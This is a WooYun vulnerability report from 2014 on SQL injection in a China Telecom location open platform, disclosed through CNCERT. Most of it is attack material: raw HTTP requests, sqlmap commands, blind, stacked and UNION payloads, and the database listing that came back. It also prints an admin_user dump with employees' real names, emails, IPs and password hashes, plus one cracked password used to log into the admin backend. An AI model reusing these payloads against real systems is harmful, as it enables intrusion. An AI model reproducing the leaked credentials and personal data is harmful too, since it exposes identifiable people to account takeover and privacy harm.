当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075978

漏洞标题：中国电信某开放平台SQL注射

相关厂商：中国电信

漏洞作者： 超威蓝猫

提交时间：2014-09-13 14:17

修复时间：2014-10-28 14:18

公开时间：2014-10-28 14:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-13： 细节已通知厂商并且等待厂商处理中
2014-09-18： 厂商已经确认，细节仅向厂商公开
2014-09-28： 细节向核心白帽子及相关领域专家公开
2014-10-08： 细节向普通白帽子公开
2014-10-18： 细节向实习白帽子公开
2014-10-28： 细节向公众公开

简要描述：

中国电信某开放平台SQL注射

详细说明：

http://locate.189.cn/ 中国电信定位开放平台 注册页检查邮箱可用行这个接口存在SQL注射

sshot-2014-09-13-[1].png


POST /site/register/check HTTP/1.0
x-requested-with: XMLHttpRequest
Accept-Language: zh-cn
Referer: http://locate.189.cn:7070/site/register
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
UA-CPU: x86
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: locate.189.cn:7070
Content-Length: 44
Pragma: no-cache
Cookie: PHPSESSID=8ul2t2fc5tioh61b43tfefrhq4
type=email&email=crtest%401.com


漏洞证明：

sqlmap.py -r e:/2.txt --dbs --is-dba --threads=10


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: email
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: type=email&email=crtest@1.com' RLIKE (SELECT (CASE WHEN (3413=3413) THEN 0x63727465737440312e636f6d ELSE 0x28 END)) AND 'tfyt'='tfyt
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: type=email&email=crtest@1.com'; SELECT SLEEP(5)-- 
---
web application technology: PHP 5.3.6
back-end DBMS: MySQL 5.0.11
current user is DBA:    True
available databases [6]:
[*] haobai_tongji
[*] haobai_yunwei
[*] information_schema
[*] mysql
[*] performance_schema
[*] test


sqlmap.py -r e:/2.txt --dump -T admin_user -D haobai_yunw
ei


id,role_id,name,email,status,lastip,password,lastvisit,create_time,last_modified
1,0,admin,admin,0,116.228.55.237,<blank>,1374023039,0,0
2,1,柴春轶,chaichunyi@besttone.com.cn,1,116.228.55.237,4de72e61c2a429799f461d19b9f7053d,1394416723,1373969394,0
3,2,郭利涛,guolitao@besttone.com.cn,0,116.228.55.237,85f903ac17ad994ffad5812f083111e0,1379385643,1374022906,1405391290
4,1,李强,liqiang_zl@besttone.com.cn,1,116.228.55.237,ea7e67bdf788df28f10c5f2c4b11e3dc,1390890696,1374022932,1379385775
5,1,程志林,chengzhilin@besttone.com.cn,1,116.228.55.237,37e69763ffeb6a6400dba75c100e6d90,1409538260,1374022956,1379385762
6,3,寇毅,kouyi@besttone.com.cn,1,116.228.55.237,60eb03369f273fc99639859da40f618a,1378433388,1374022982,1374133373
7,6,沈谦,shenqian@besttone.com.cn,1,116.228.55.237,2ed704d4a4846bddeb296342689d8117,1396507529,1374029645,0
8,1,陈军,chenjun_wz@besttone.com.cn,1,27.128.86.38,e10adc3949ba59abbe56e057f20f883e,1410048662,1374029670,1384304658
9,2,程耀宗,chengyaozong@besttone.com.cn,1,116.228.55.237,e10adc3949ba59abbe56e057f20f883e,1394418942,1386897538,0


用 chenjun_wz@besttone.com.cn 123456 登录后台 http://locate.189.cn/admin/admin/login

sshot-2014-09-13-[2].png


sshot-2014-09-13-[3].png


sshot-2014-09-13-[4].png


登录后台后发现这地址也能注入，支持UNION

GET /admin/user/view/id/1* HTTP/1.1
Host: locate.189.cn
Proxy-Connection: keep-alive
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Pragma: no-cache
User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=c46befgs7aseir16k9hcoct7m0


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://locate.189.cn:80/admin/user/view/id/1' AND 1505=1505 AND 'GFjG'='GFjG
    Type: UNION query
    Title: MySQL UNION query (NULL) - 24 columns
    Payload: http://locate.189.cn:80/admin/user/view/id/1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170776271,0x6955654457624b464a70,0x7172726471),NULL,NULL,NULL,NULL,NULL,NULL#
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: http://locate.189.cn:80/admin/user/view/id/1'; SELECT SLEEP(5)-- 
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://locate.189.cn:80/admin/user/view/id/1' AND SLEEP(5) AND 'dJvZ'='dJvZ
---
web application technology: PHP 5.3.6
back-end DBMS: MySQL 5.0.11
available databases [6]:
[*] haobai_tongji
[*] haobai_yunwei
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

修复方案：

电信更专业

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-09-18 08:18

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT通报给中国电信集团公司处置。按多个注入点综合评分，rank 15

最新状态：

暂无

漏洞评价：

评论

  1. 2014-09-13 14:19 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    有注入别存着了 给我也来几个

  2. 2014-09-13 14:54 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @魇 SV

  3. 2014-10-29 10:27 | 猫猫 ( 路人 | Rank:1 漏洞数:1 | PHPer)

    扫出来的电信员工信息是不是有必要打个码。。。

  4. 2015-05-05 23:14 | agnes0621 ( 路人 | Rank:2 漏洞数:1 | a)

    @超威蓝猫 请教个问题，看到这个bool盲注的payload，发现没有用and or等逻辑符，然后本地测试了下：mysql> select productid from oecmspre_product where productid=4 rlike 4;Empty set (0.00 sec)mysql> select productid from oecmspre_product where productid=4 rlike 5;Empty set (0.00 sec)实际上id=4是有结果的。但是这样查询结果没区别，怎么bool盲注啊，而且不用逻辑符的这种形式，我不知道mysql是怎么运算的，结果毫无规律

  5. 2015-05-05 23:17 | agnes0621 ( 路人 | Rank:2 漏洞数:1 | a)

    @agnes0621 并且市面上的waf都没有防护这种。。。这payload好奇怪啊